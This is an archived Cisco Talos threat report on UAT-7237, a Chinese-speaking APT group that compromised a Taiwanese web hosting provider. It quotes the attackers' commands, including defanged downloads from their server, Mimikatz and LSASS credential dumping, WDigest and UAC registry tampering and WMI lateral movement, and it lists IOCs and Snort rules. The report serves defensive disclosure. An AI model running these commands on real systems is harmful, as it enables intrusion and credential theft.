UAT-7237 targets Taiwanese web hosting infrastructure

By Asheer Malhotra

Published: 2025-08-15 · Archived: 2026-04-02 10:36:57 UTC

- Cisco Talos discovered UAT-7237, a Chinese-speaking advanced persistent threat (APT) group active since at least 2022, which has significant overlaps with UAT-5918.
- UAT-7237 conducted a recent intrusion targeting web infrastructure entities within Taiwan and relies heavily on the use of open-sourced tooling, customized to a certain degree, likely to evade detection and conduct malicious activities within the compromised enterprise.
- UAT-7237 aims to establish long-term persistence in high-value victim environments.
- Talos also identified a customized Shellcode loader in UAT-7237's arsenal that we track as “SoundBill.” SoundBill can be used to decode and load any shellcode, including Cobalt Strike.

Talos assesses with high confidence that UAT-7237 is a Chinese-speaking APT group, focusing heavily on establishing long-term persistence in web infrastructure entities in Taiwan. Most of UAT-7237's tooling consists of open-sourced tools, customized to a certain extent, including the use of a customized Shellcode loader we track as “SoundBill.”

Talos further assesses that UAT-7237 is likely a subgroup of UAT-5918, operating under the same umbrella of threat actors. UAT-7237's tooling, victimology and dates of activity overlap significantly with UAT-5918. Additionally, both threat groups develop, customize and operate tooling using the Chinese language as their preliminary language of choice.

While Talos assesses that UAT-7237 is a subgroup of UAT-5918, there are some deviations in UAT-7237's tactics, techniques and procedures (TTPs) that necessitate its designation as a distinct threat actor:

- UAT-7237 primarily relies on the use of Cobalt Strike as its staple backdoor implant while UAT-5918 relies primarily on Meterpreter based reverse shells.
- After a successful compromise, UAT-5918 typically deploys a flurry of web shells. However, UAT-7237's deployment of web shells is highly selective and only on a chosen few compromised endpoints.
- While UAT-5918 relies on web shells as their primary channel of backdoor access, UAT-7237 relies on a combination of direct remote desktop protocol (RDP) access and SoftEther VPN clients to achieve the same.

In a recent intrusion, UAT-7237 compromised, infiltrated and established long term persistence in a Taiwanese web hosting provider. It is worth noting that the threat actor had a particular interest in gaining access to the victim organization’s VPN and cloud infrastructure. UAT-7237 used open-source and customized tooling to perform several malicious operations in the enterprise, including reconnaissance, credential extraction, deploying bespoke malware, setting up backdoored access via VPN clients, network scanning and proliferation.

Initial access and reconnaissance

UAT-7237 gains initial access by exploiting known vulnerabilities on unpatched servers exposed to the internet. Once the target has been successfully compromised, UAT-7237, like any other stealth-oriented APT, conducts rapid fingerprinting to evaluate if the target is worth conducting further malicious actions on.

Reconnaissance consists of identifying remote hosts, both internal and on the internet:

```
cmd /c nslookup <victim's_domain>
cmd /c systeminfo
cmd /c curl
cmd /c ping 8[.]8[.]8[.]8
cmd /c ping 141[.]164[.]50[.]141          // Attacker controlled remote server.
cmd /c ping <victim's_domain>
cmd /c ipconfig /all
```

While UAT-5918 immediately begins deploying web shells to establish backdoored channels of access, UAT-7237 deviates significantly, using the SoftEther VPN client (similar to Flax Typhoon) to persist their access, and later access the systems via RDP:

```
cmd /c c:\temp\WM7Lite\download[.]exe  hxxp[://]141[.]164[.]50[.]141/sdksdk608/win-x64[.]rar c:\temp

powershell (new-object System[.]Net[.]WebClient).DownloadFile('hxxp[://]141[.]164[.]50[.]141/sdksdk6
```

Once UAT-7237 sets up initial access, reconnaissance and VPN-based access, they start preparing to pivot to additional systems in the enterprise to proliferate and conduct malicious activities:

```
cmd[.]exe /c cd /d "<remote_smb_share>"&net use
cmd[.]exe /c cd /d "<remote_smb_share>"&dir \\<remote_smb_share>\c$\
cmd[.]exe /c cd /d "C:\"&net group "domain admins" /domain
cmd[.]exe /c cd /d "C:\"&net group "domain controllers" /domain
```

In addition to relying on living-off-the-land binaries (LOLBins), UAT-7237 actively employed Windows Management Instrumentation (WMI) based tooling during reconnaissance and proliferation such as SharpWMI and WMICmd:

```
cmd[.]exe /c cd /d "C:\"&C:\ProgramData\dynatrace\sharpwmi[.]exe <IP> <user> <pass> cmd whoami

cmd.exe /c cd /d "C:\DotNet\"&WMIcmd.exe

wmic /node:<IP> /user:Administrator /password:<pass> process call create cmd.exe /c whoami
```

```
wmic /node:<IP> /user:Administrator /password:<pass> process call create cmd.exe /c netstat -ano >c:
```

SharpWMI and WMICmd can both be used to execute WMI queries on remote hosts, and they allow for arbitrary command and code executions.

UAT-7237 fingerprinted any systems subsequently accessed using rudimentary window commands such as:

```
cmd.exe /c systeminfo
cmd.exe /c tasklist
cmd.exe /c net1 user /domain
cmd.exe /c whoami /priv
cmd.exe /c quser
```

Post-compromise tooling and actions on objectives

SoundBill

After compromise, UAT-7237 deploys a variety of customized and open-source tooling to perform a variety of tasks on the infected endpoints. Talos tracks one of UAT-7237's custom-built tools as “SoundBill.” SoundBill is built based on “VTHello” and is a shellcode loader written in Chinese that will decode a file on disk named “ptiti.txt” and execute the resulting shellcode.

It is also worth noting that SoundBill contains two embedded executables. Both originate from QQ, a Chinese instant messaging software, and are likely used as decoy files in attacks involving spear phishing.

SoundBill’s payload (i.e., the shellcode) may be anything from, for example, a customized implementation of Mimikatz:

```
VTSB.exe privilege::debug sekurlsa::logonpasswords exit
```

Or it may be a mechanism to execute arbitrary commands on the infected system, such as:

```
c:\temp\vtsb.exe -c whoami
```

The shellcode may even be a position-independent Cobalt Strike payload that allows UAT-7237 to establish long term access for information stealing. So far, the Cobalt Strike beacons Talos have found to be compatible with SoundBill communicate over HTTPS with its command and control (C2): cvbbonwxtgvc3isfqfc52cwzja0kvuqd.lambda-url.ap-northeast-1[.]on[.]aws

JuicyPotato

UAT-7237 also uses JuicyPotato, a privilege escalation tool popular with Chinese-speaking threat actors, to execute multiple commands on endpoints such as:

```
cmd.exe /c c:\hotfix\juicy2.exe -t * -c {6d18ad12-bde3-4393-b311-099c346e6df9} -p whoami
```

Configuration changes

During intrusions on several occasions, UAT-7237 attempted to make configuration and setting changes to the Windows OS on the infected endpoints, such as disabling User Account Control (UAC) restriction via registry:

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPol
```

They also attempted to enable storage of cleartext passwords:

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG
```

UAT-7237 also accessed the Component Services management console, likely to adjust privileges for their malicious components:

```
mmc comexp.msc
```

UAT-7237's pursuit of credentials

UAT-7237 uses several mechanisms, predominantly Mimikatz, to extract credentials from the infected endpoints. However, the threat actor has evolved their use of Mimikatz over time, likely as a means of evading detection by using a Mimikatz instance built into SoundBill to extract credentials:

Filename/command	**Tooling name**
abc.dll	Comsvcs.dll for LSASS process dumping
Fileless.exe	Mimikatz
VTSB.exe privilege::debug sekurlsa::logonpasswords exit	SoundBill with the Mimikatz payload

Furthermore, UAT-7237 also finds VNC credentials and configuration from infected endpoints by searching the registry and disk:

```
reg query "HKCU\Software\ORL\WinVNC3\Password"
dir c:\*vnc.ini /s /b
```

Another (likely open-source) tool is used to execute commands on the endpoint, specifically to invoke a BAT file and another executable — again for credential extraction:

```
cmd.exe /c C:\hotfix\invoketest.exe  -cmd "cmd /c  C:\hotfix\1.bat"
cmd.exe /c C:\hotfix\invoketest.exe  -cmd "cmd /c   C:\hotfix\Project1.exe  C:\hotfix\SSP.dll"
```

“Project1[.]exe” above is the ssp_dump_lsass project on GitHub. It takes a DLL file as an argument, injects it into the Local Security Authority Service (LSASS) process, which then dumps the LSASS process into a BIN file.

Optionally, JuicyPotato may be used to run the same credential extraction process via the BAT file:

```
cmd.exe /c c:\hotfix\juicy2.exe -t * -c  {e60687f7-01a1-40aa-86ac-db1cbf673334} -p "c:\windows\syste
```

The process dump obtained is then staged into an archive for exfiltration:

```
cmd.exe /c "c:\program files\7-Zip\7z.exe"  a  C:\hotfix\1.zip  C:\hotfix\1.bin
```

Proliferating through the enterprise

UAT-7237 uses the following network scanning tooling:

FScan: A network scanner tool used to scan for open ports against IP subnets:

```
fileless -h 10.30.111.1/24 -nopoc -t 20
```

SMB scans: To identify SMB services information on specific endpoints:

```
smb_version 10.30.111.11 445
```

As soon as accessible systems are found, UAT-7237 will conduct additional recon to pivot to them using credentials they’ve extracted previously:

```
cmd[.]exe /c netstat -ano |findstr 3389
cmd[.]exe /c nslookup <victim’s_subdomains>
cmd[.]exe /c net use  <IP>\ipc$ <pass>  /user:<userid>
cmd[.]exe /c dir   \\<remote_system>\c$
cmd[.]exe /c net use  \\<remote_system>\ipc$ /del
```

SoftEther VPN

The remote server hosting the SoftEther VPN client consisted of two archives: one containing the Client executable and corresponding configuration, and another with the Executable and Linkable Format (ELF)-based

server binary.

Talos' analysis of the SoftEther artifacts led to the following observations of UAT-7237's TTPs:

- The server was created in September 2022 and was last used in December 2024, indicating that UAT-7237 may have been using SoftEther over a two-year period.
- UAT-7237 specified Simplified Chinese as the preferred display language in their VPN client's language configuration file, indicating that the operators were proficient with the language.

Coverage

Ways our customers can detect and block this threat are listed below.

Extended Detection and Response: Cisco XDR	Multi-Factor Authentication: Cisco Duo	Endpoint: Cisco Secure Endpoint
✓	N/A	✓
Email: Cisco Secure Email Threat Defense	Network security: Cisco Secure Firewall	Multi-Cloud Security: Cisco MultiCloud Defense
✓	✓	N/A
Secure Internet Gateway: Cisco Umbrella	Analytics: Cisco Secure Network Analytics	Security Service Edge (SSE): Cisco Secure Access
✓	N/A	✓

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work. Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The following Snort rules cover this threat:

- Snort v2 : 64908 - 64916
- Snort v3: 301209 - 301212

IOCs

IOCs for this research can also be found at our GitHub repository here.

```
450fa9029c59af9edf2126df1d6a657ee6eb024d0341b32e6f6bdb8dc04bae5a - C:\temp\wmiscan.exe
6a72e4b92d6a459fc2c6054e9ddb9819d04ed362bd847333492410b6d7bae5aa - c:/hotfix/Project1.exe - ssp_dump
E106716a660c751e37cfc4f4fbf2ea2f833e92c2a49a0b3f40fc36ad77e0a044 - C:/hotfixlog/Fileless.exe - FScan
B52bf5a644ae96807e6d846b0ce203611d83cc8a782badc68ac46c9616649477 - C:/hotfixlog/smb_version.exe
864e67f76ad0ce6d4cc83304af4347384c364ca6735df0797e4b1ff9519689c5 - fileless.exe - Mimikatz

SoundBill
Df8497b9c37b780d6b6904a24133131faed8ea4cf3d75830b53c25d41c5ea386

Cobalt Strike
0952e5409f39824b8a630881d585030a1d656db897adf228ce27dd9243db20b7
7a5f05da3739ad3e11414672d01b8bcf23503a9a8f1dd3f10ba2ead7745cdb1f

cvbbonwxtgvc3isfqfc52cwzja0kvuqd.lambda-url.ap-northeast-1[.]on[.]aws
http[://]141[.]164[.]50[.]141/sdksdk608/win-x64[.]rar
141[.]164[.]50[.]141
```

Source: https://blog.talosintelligence.com/uat-7237-targets-web-hosting-infra/